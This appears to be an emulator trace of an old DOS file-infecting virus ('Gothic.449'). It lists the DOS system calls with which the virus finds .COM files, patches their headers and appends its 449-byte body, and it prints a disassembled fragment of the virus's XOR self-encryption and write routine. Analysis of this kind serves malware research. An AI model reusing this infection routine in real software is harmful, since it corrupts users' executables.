Sample viewer

vx.netlux.org/Virus.DOS.VCC.Gothic.449

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:11:43.44472555Z 26 PC: 12a73 | Set disk transfer address
2018-12-17T23:11:43.447050623Z 37 PC: 12a81 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T23:11:43.448890302Z 37 PC: 12a85 | Set interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T23:11:43.450724021Z 78 PC: 12ad1 | Find first file
2018-12-17T23:11:43.45825267Z 61 PC: 12b95 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:11:43.466809061Z 63 PC: 12ba4 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:11:43.473868678Z 66 PC: 12bb3 | Move file pointer
2018-12-17T23:11:43.475588212Z 66 PC: 12bc2 | Move file pointer
2018-12-17T23:11:43.478017721Z 64 PC: 12bce | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:11:43.480967047Z 66 PC: 12bda | Move file pointer
2018-12-17T23:11:43.482685399Z 44 PC: 12bde | Get time 0x12bde: mov byte ptr [bp + 0x1c1], dl
0x12be2: call 0x12bf8
0x12be5: mov ah, 0x40
0x12be7: mov cx, 0x1c1
0x12bea: lea dx, word ptr [bp + 6]
0x12bee: int 0x21
0x12bf0: call 0x12bf8
0x12bf3: mov ah, 0x3e
0x12bf5: int 0x21
0x12bf7: ret
0x12bf8: lea si, word ptr [bp + 0x20]
0x12bfc: mov cx, 0x182
0x12bff: xor byte ptr [si], 0
0x12c02: inc si
0x12c03: dec cx
0x12c04: jne 0x12bff
0x12c06: ret
0x12c07: add word ptr [bx], di
0x12c09: aas
0x12c0a: aas
2018-12-17T23:11:43.486591535Z 64 PC: 12bf0 | Write file or device (Write 449 bytes on handle 5)
2018-12-17T23:11:43.502477421Z 62 PC: 12bf7 | Close file
2018-12-17T23:11:43.511757904Z 79 PC: 12ad1 | Find next file
2018-12-17T23:11:43.515997317Z 61 PC: 12b95 | Open file (Filename = 'PRINT.COM')
2018-12-17T23:11:43.523400029Z 63 PC: 12ba4 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:11:43.530497467Z 66 PC: 12bb3 | Move file pointer
2018-12-17T23:11:43.532938208Z 66 PC: 12bc2 | Move file pointer
2018-12-17T23:11:43.535923332Z 64 PC: 12bce | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:11:43.538886494Z 66 PC: 12bda | Move file pointer
2018-12-17T23:11:43.540497023Z 44 PC: 12bde | Get time 0x12bde: mov byte ptr [bp + 0x1c1], dl
0x12be2: call 0x12bf8
0x12be5: mov ah, 0x40
0x12be7: mov cx, 0x1c1
0x12bea: lea dx, word ptr [bp + 6]
0x12bee: int 0x21
0x12bf0: call 0x12bf8
0x12bf3: mov ah, 0x3e
0x12bf5: int 0x21
0x12bf7: ret
0x12bf8: lea si, word ptr [bp + 0x20]
0x12bfc: mov cx, 0x182
0x12bff: xor byte ptr [si], 0x42
0x12c02: inc si
0x12c03: dec cx
0x12c04: jne 0x12bff
0x12c06: ret
0x12c07: add word ptr [bx], di
0x12c09: aas
0x12c0a: aas
2018-12-17T23:11:43.54384547Z 64 PC: 12bf0 | Write file or device (Write 449 bytes on handle 5)
2018-12-17T23:11:43.547074252Z 62 PC: 12bf7 | Close file
2018-12-17T23:11:43.557140042Z 79 PC: 12ad1 | Find next file
2018-12-17T23:11:43.561389013Z 61 PC: 12b95 | Open file (Filename = 'HELLO.COM')
2018-12-17T23:11:43.566915327Z 63 PC: 12ba4 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:11:43.572110858Z 66 PC: 12bb3 | Move file pointer
2018-12-17T23:11:43.576590752Z 66 PC: 12bc2 | Move file pointer
2018-12-17T23:11:43.578274008Z 64 PC: 12bce | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:11:43.581105182Z 66 PC: 12bda | Move file pointer
2018-12-17T23:11:43.583759735Z 44 PC: 12bde | Get time 0x12bde: mov byte ptr [bp + 0x1c1], dl
0x12be2: call 0x12bf8
0x12be5: mov ah, 0x40
0x12be7: mov cx, 0x1c1
0x12bea: lea dx, word ptr [bp + 6]
0x12bee: int 0x21
0x12bf0: call 0x12bf8
0x12bf3: mov ah, 0x3e
0x12bf5: int 0x21
0x12bf7: ret
0x12bf8: lea si, word ptr [bp + 0x20]
0x12bfc: mov cx, 0x182
0x12bff: xor byte ptr [si], 0x47
0x12c02: inc si
0x12c03: dec cx
0x12c04: jne 0x12bff
0x12c06: ret
0x12c07: add word ptr [bx], di
0x12c09: aas
0x12c0a: aas
2018-12-17T23:11:43.587337744Z 64 PC: 12bf0 | Write file or device (Write 449 bytes on handle 5)
2018-12-17T23:11:43.596948649Z 62 PC: 12bf7 | Close file
2018-12-17T23:11:43.606535018Z 79 PC: 12ad1 | Find next file
2018-12-17T23:11:43.609892261Z 61 PC: 12b95 | Open file (Filename = 'PHANG.COM')
2018-12-17T23:11:43.620756613Z 63 PC: 12ba4 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:11:43.629520615Z 66 PC: 12bb3 | Move file pointer
2018-12-17T23:11:43.631621176Z 66 PC: 12bc2 | Move file pointer
2018-12-17T23:11:43.633629974Z 64 PC: 12bce | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:11:43.636949066Z 66 PC: 12bda | Move file pointer
2018-12-17T23:11:43.64015754Z 44 PC: 12bde | Get time 0x12bde: mov byte ptr [bp + 0x1c1], dl
0x12be2: call 0x12bf8
0x12be5: mov ah, 0x40
0x12be7: mov cx, 0x1c1
0x12bea: lea dx, word ptr [bp + 6]
0x12bee: int 0x21
0x12bf0: call 0x12bf8
0x12bf3: mov ah, 0x3e
0x12bf5: int 0x21
0x12bf7: ret
0x12bf8: lea si, word ptr [bp + 0x20]
0x12bfc: mov cx, 0x182
0x12bff: xor byte ptr [si], 0x47
0x12c02: inc si
0x12c03: dec cx
0x12c04: jne 0x12bff
0x12c06: ret
0x12c07: add word ptr [bx], di
0x12c09: aas
0x12c0a: aas
2018-12-17T23:11:43.642961353Z 64 PC: 12bf0 | Write file or device (Write 449 bytes on handle 5)
2018-12-17T23:11:43.646117629Z 62 PC: 12bf7 | Close file
2018-12-17T23:11:43.655803975Z 79 PC: 12ad1 | Find next file
2018-12-17T23:11:43.659786635Z 61 PC: 12b95 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T23:11:43.667149242Z 63 PC: 12ba4 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:11:43.675071501Z 66 PC: 12bb3 | Move file pointer
2018-12-17T23:11:43.677307516Z 66 PC: 12bc2 | Move file pointer
2018-12-17T23:11:43.679039844Z 64 PC: 12bce | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:11:43.682824151Z 66 PC: 12bda | Move file pointer
2018-12-17T23:11:43.684565074Z 44 PC: 12bde | Get time 0x12bde: mov byte ptr [bp + 0x1c1], dl
0x12be2: call 0x12bf8
0x12be5: mov ah, 0x40
0x12be7: mov cx, 0x1c1
0x12bea: lea dx, word ptr [bp + 6]
0x12bee: int 0x21
0x12bf0: call 0x12bf8
0x12bf3: mov ah, 0x3e
0x12bf5: int 0x21
0x12bf7: ret
0x12bf8: lea si, word ptr [bp + 0x20]
0x12bfc: mov cx, 0x182
0x12bff: xor byte ptr [si], 0x4d
0x12c02: inc si
0x12c03: dec cx
0x12c04: jne 0x12bff
0x12c06: ret
0x12c07: add word ptr [bx], di
0x12c09: aas
0x12c0a: aas
2018-12-17T23:11:43.687477321Z 64 PC: 12bf0 | Write file or device (Write 449 bytes on handle 5)
2018-12-17T23:11:43.69193243Z 62 PC: 12bf7 | Close file
2018-12-17T23:11:43.702339973Z 79 PC: 12ad1 | Find next file
2018-12-17T23:11:43.705990969Z 61 PC: 12b95 | Open file (Filename = 'MANDEL.COM')
2018-12-17T23:11:43.712982338Z 63 PC: 12ba4 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:11:43.720652312Z 66 PC: 12bb3 | Move file pointer
2018-12-17T23:11:43.72258154Z 66 PC: 12bc2 | Move file pointer
2018-12-17T23:11:43.724443602Z 64 PC: 12bce | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:11:43.732112084Z 66 PC: 12bda | Move file pointer
2018-12-17T23:11:43.734442897Z 44 PC: 12bde | Get time 0x12bde: mov byte ptr [bp + 0x1c1], dl
0x12be2: call 0x12bf8
0x12be5: mov ah, 0x40
0x12be7: mov cx, 0x1c1
0x12bea: lea dx, word ptr [bp + 6]
0x12bee: int 0x21
0x12bf0: call 0x12bf8
0x12bf3: mov ah, 0x3e
0x12bf5: int 0x21
0x12bf7: ret
0x12bf8: lea si, word ptr [bp + 0x20]
0x12bfc: mov cx, 0x182
0x12bff: xor byte ptr [si], 0x52
0x12c02: inc si
0x12c03: dec cx
0x12c04: jne 0x12bff
0x12c06: ret
0x12c07: add word ptr [bx], di
0x12c09: aas
0x12c0a: aas
2018-12-17T23:11:43.73736371Z 64 PC: 12bf0 | Write file or device (Write 449 bytes on handle 5)
2018-12-17T23:11:43.748454228Z 62 PC: 12bf7 | Close file
2018-12-17T23:11:43.758465736Z 79 PC: 12ad1 | Find next file
2018-12-17T23:11:43.761583409Z 61 PC: 12b95 | Open file (Filename = 'PAH.COM')
2018-12-17T23:11:43.769361267Z 63 PC: 12ba4 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:11:43.776223823Z 66 PC: 12bb3 | Move file pointer
2018-12-17T23:11:43.7777698Z 66 PC: 12bc2 | Move file pointer
2018-12-17T23:11:43.779463055Z 64 PC: 12bce | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:11:43.782844334Z 66 PC: 12bda | Move file pointer
2018-12-17T23:11:43.784200254Z 44 PC: 12bde | Get time 0x12bde: mov byte ptr [bp + 0x1c1], dl
0x12be2: call 0x12bf8
0x12be5: mov ah, 0x40
0x12be7: mov cx, 0x1c1
0x12bea: lea dx, word ptr [bp + 6]
0x12bee: int 0x21
0x12bf0: call 0x12bf8
0x12bf3: mov ah, 0x3e
0x12bf5: int 0x21
0x12bf7: ret
0x12bf8: lea si, word ptr [bp + 0x20]
0x12bfc: mov cx, 0x182
0x12bff: xor byte ptr [si], 0x52
0x12c02: inc si
0x12c03: dec cx
0x12c04: jne 0x12bff
0x12c06: ret
0x12c07: add word ptr [bx], di
0x12c09: aas
0x12c0a: aas
2018-12-17T23:11:43.786636536Z 64 PC: 12bf0 | Write file or device (Write 449 bytes on handle 5)
2018-12-17T23:11:43.790745413Z 62 PC: 12bf7 | Close file
2018-12-17T23:11:43.798946105Z 26 PC: 12aeb | Set disk transfer address
2018-12-17T23:11:43.800138768Z 9 PC: 12afd | Display string (String= ' Someone is at the door ')